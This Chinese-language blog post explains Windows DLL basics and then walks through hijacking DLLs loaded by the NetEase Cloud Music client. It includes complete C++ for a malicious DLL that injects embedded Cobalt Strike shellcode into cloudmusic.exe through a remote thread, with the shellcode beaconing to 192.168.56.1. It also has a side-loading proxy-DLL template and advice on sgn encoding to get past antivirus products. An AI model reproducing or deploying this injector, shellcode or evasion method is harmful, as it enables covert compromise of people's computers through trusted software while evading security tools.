什么是DLL
windows上的动态链接库,允许多个程序复用一个dll中的代码,从而减少程序体积,详细介绍可以看
动态链接库的创建
安装vs studio在其中就可以创建出dll项目,其中的DllMain就是函数入口
下属的switch分支四个case分别代表了,进程加载时进入,创建了一个新线程时进入,线程退出时进入,卸载dll时进入
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
其中下面四个case分别是
- DLL_PROCESS_ATTACH 如果有全新进程加载dll
- DLL_THREAD_ATTACH 当新线程被加载
- DLL_THREAD_DETACH 当有一个线程退出时
- DLL_PROCESS_DETACH 当进程卸载dll时
- ps:进程包含线程,进程相互独立,线程共享进程
了解这些就可以写出以下的内容,例如我想在dll调用的时候输出一个helloword
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Hello World!", L"DLL Loaded", MB_OK);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
MessageBox(NULL, L"DLL_PROCESS_DETACH", L"DLL Loaded", MB_OK);
break;
}
return TRUE;
}
因为将dll写为,如果dll被加载或被卸载就弹窗,所以只需要写一个加载他的代码就好
dll的调用分为显式与隐式,这里先关注显式调用
显式是在运行时动态的调用dll,通过windowsapi的LoadLibrary函数
#include <iostream>
#include <Windows.h>
int main() {
// LoadLibraryA加载 DLL
HMODULE hM = LoadLibraryA("exDLL.dll"); // 加载DLL并获取模块句柄
if (hM == NULL) {
std::cerr << "Failed to load DLL." << std::endl;
return 1;
}
std::cout << "DLL Loaded successfully." << std::endl;
// 卸载DLL,触发DLL_PROCESS_DETACH
FreeLibrary(hM);
return 0;
}
这样就是成功调用了
windows下的动态链接库的搜索顺序
- 当前目录
- windows系统目录
- 16位系统目录
- windows目录
- 进程当前工作目录
- PATH环境变量列出目录
在windows中也存在不可劫持的dll,存在于注册表可以用以下命令查看
reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SessionManager\KnownDLLs"
dll劫持
不存在的dll劫持
对于不存在的dll的劫持需要关注两个条件,程序是否调用了不存在的dll,堆栈中是否存在LoadLibrary
函数的调用,此外还需注意的是有些dll若被劫持会导致软件无法启动的问题,因为某些是核心调用,一般在windows系统目录中或者更高级的目录中劫持会导致软件崩溃,且很多并非在软件启动时立刻调用的dll,可能会过很长时间才被调用,如下图就是一个可被劫持的dll,但需要在软件启动后比较久的时间才会被触发,而且是多次触发。
后续又找了找,找到一个名字叫做MDMRegistration.dll
能做到在启动网易的时候立刻启动
cs上线
简单抄了下注入的代码
又碰到了另一个问题,就是MDMRegistration.dll调用虽然及时,但有点太及时了,他是在cloudmusic.exe之前就被拉起的,如下图
但好在网易运行后并不只一个进程在跑可以看到还有一个进程叫做cloudmusic_reporter
成功上线,但并不完美,会卡在cloudmusic_reporter这个进程中,网易并起不来,得换dll
再找找还能找到一个叫做cscapi的dll
成功
代码如下
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x6c\x1e\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4c\x66\x64\x47\x00\xcd\xee\x03\x85\x56\xf4\x13\x1b\xbb\xa7\xa2\x69\xbb\xc7\x4b\xcb\xc6\x4b\xd4\x85\xd6\xd8\x9f\x52\xbe\x76\x76\x54\x31\x93\xa1\x1b\x67\x66\xe5\x1c\x8c\x66\x5d\x31\x74\x67\x99\xe9\x3c\xb5\xf1\xde\x11\x67\x4f\x65\x6e\x8e\x22\x66\xb5\x1e\xaf\x94\x35\xfd\x7c\xbd\xd9\x96\x08\x07\x1b\xb3\x10\x08\x2a\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4d\x41\x4e\x4d\x29\x0d\x0a\x00\x72\x35\xea\x30\xab\xa1\x92\x5b\x27\x37\x7a\xce\x80\xc9\x2d\xcb\x57\x3f\x58\x79\xef\xc3\x06\x6f\x3c\xcb\xc4\xd8\xac\x12\xec\x01\x23\xbd\x23\xcb\x5c\xd1\x6e\xbf\xab\x00\x91\x97\x9b\x64\x95\xed\x58\x01\xd8\x44\x3f\xdb\xd4\x64\x03\xf3\x91\xcb\x5e\x0a\x8d\x24\x67\x99\x6a\xea\xe5\x8d\xe7\xdf\xc1\xd5\x88\xad\x88\xcf\x90\xa8\x05\xe3\xcf\x6d\xdd\x98\x4d\x0e\xdd\xdd\x0d\xda\x1d\xe3\xf4\xcd\x29\x89\x5c\xcb\x48\x05\x53\xae\x1e\x05\xa5\xef\xeb\xea\x3b\x2c\x39\x10\xf7\xbb\x32\x21\xc5\x6d\x11\x7e\xa9\xb4\x10\x9a\xfe\xb4\xdd\x65\x67\xb1\xd4\x66\xc5\x53\x7b\x92\xe6\x42\x6c\xc6\x76\x46\x52\xbb\x87\x14\x7a\x50\x2a\xb1\xd6\xa5\xce\x45\xf9\xf3\x5a\x75\x76\x77\xee\xb6\x29\x4e\x04\xb3\x72\x4e\x56\x16\x92\x0d\x1e\x3d\x1a\x27\x94\x04\x8b\xfc\x17\xe9\x12\x79\x0f\xf7\x52\x9a\x96\x89\x1a\x23\xb6\x16\x87\x0a\x98\xc7\xdc\x4a\xf3\x81\xe5\xd6\x3d\xfd\x11\xfa\x56\x69\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x00\x00\x01\x86\xa0";
DWORD FindProcessId(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(hSnapshot, &pe)) {
do {
if (wcscmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
int InjectShellcode() {
const wchar_t* targetProcessName = L"cloudmusic.exe"; // 目标进程名
DWORD processId = FindProcessId(targetProcessName);
if (processId == 0) {
std::cerr << "未找到目标进程。" << std::endl;
return -1;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (hProcess == NULL) {
std::cerr << "无法打开进程。" << std::endl;
return -1;
}
LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {
std::cerr << "内存分配失败。" << std::endl;
CloseHandle(hProcess);
return -1;
}
// 将 shellcode 写入目标进程的内存
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), &bytesWritten) || bytesWritten != sizeof(shellcode)) {
std::cerr << "写入进程内存失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}
// 创建远程线程执行 shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "创建远程线程失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}
// 等待线程结束
//WaitForSingleObject(hThread, INFINITE);
// 清理
//VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
InjectShellcode();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
存在dll劫持
对存在的dll进行劫持,或者在查找资料的时候发现他应该还有个名字叫做DLL Side-Loading,DLL旁路加载,大致逻辑如下图
这个过程可以使用AheadLib+来快速完成,他的实现有两种,直接转发函数与即时调用函数,即时调用我暂时没成功,先来说直接转发
直接转发函数
生成代码如下
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:CloudMuiscMain=cloudmusicOrg.CloudMuiscMain,@1")
#pragma comment(linker, "/EXPORT:CompressFile=cloudmusicOrg.CompressFile,@2")
#pragma comment(linker, "/EXPORT:CompressFileW=cloudmusicOrg.CompressFileW,@3")
#pragma comment(linker, "/EXPORT:CompressFileW2=cloudmusicOrg.CompressFileW2,@4")
#pragma comment(linker, "/EXPORT:ConvertFile=cloudmusicOrg.ConvertFile,@5")
#pragma comment(linker, "/EXPORT:ConvertFileW=cloudmusicOrg.ConvertFileW,@6")
#pragma comment(linker, "/EXPORT:ConvertFileW2=cloudmusicOrg.ConvertFileW2,@7")
#pragma comment(linker, "/EXPORT:DecompressFile=cloudmusicOrg.DecompressFile,@8")
#pragma comment(linker, "/EXPORT:DecompressFileW=cloudmusicOrg.DecompressFileW,@9")
#pragma comment(linker, "/EXPORT:DecompressFileW2=cloudmusicOrg.DecompressFileW2,@10")
#pragma comment(linker, "/EXPORT:FillRF64Header=cloudmusicOrg.FillRF64Header,@11")
#pragma comment(linker, "/EXPORT:FillWaveFormatEx=cloudmusicOrg.FillWaveFormatEx,@12")
#pragma comment(linker, "/EXPORT:FillWaveHeader=cloudmusicOrg.FillWaveHeader,@13")
#pragma comment(linker, "/EXPORT:VerifyFile=cloudmusicOrg.VerifyFile,@14")
#pragma comment(linker, "/EXPORT:VerifyFileW=cloudmusicOrg.VerifyFileW,@15")
#pragma comment(linker, "/EXPORT:VerifyFileW2=cloudmusicOrg.VerifyFileW2,@16")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
其中的关键在与#pragma comment(linker)
语句,将对当前dll的操作转发到了其他的dll,尝试弹计算器
正常的dll一般在软件的生命周期中会被多次加载所以会多次弹计算器
免杀
如果直接使用cs生产的payload,那肯定是杀光光的,可以使用sgn编码,免杀效果好看太多
仕方がない
sgn编码全名Shikata ga nai,翻译成中文就是没办法,相当好用的手段
https://github.com/EgeBalci/sgn
直接默认都能静态过火绒,注入网易云后可能是因为他的签名够白360都能过,但注入行为还是会被察觉
参考文章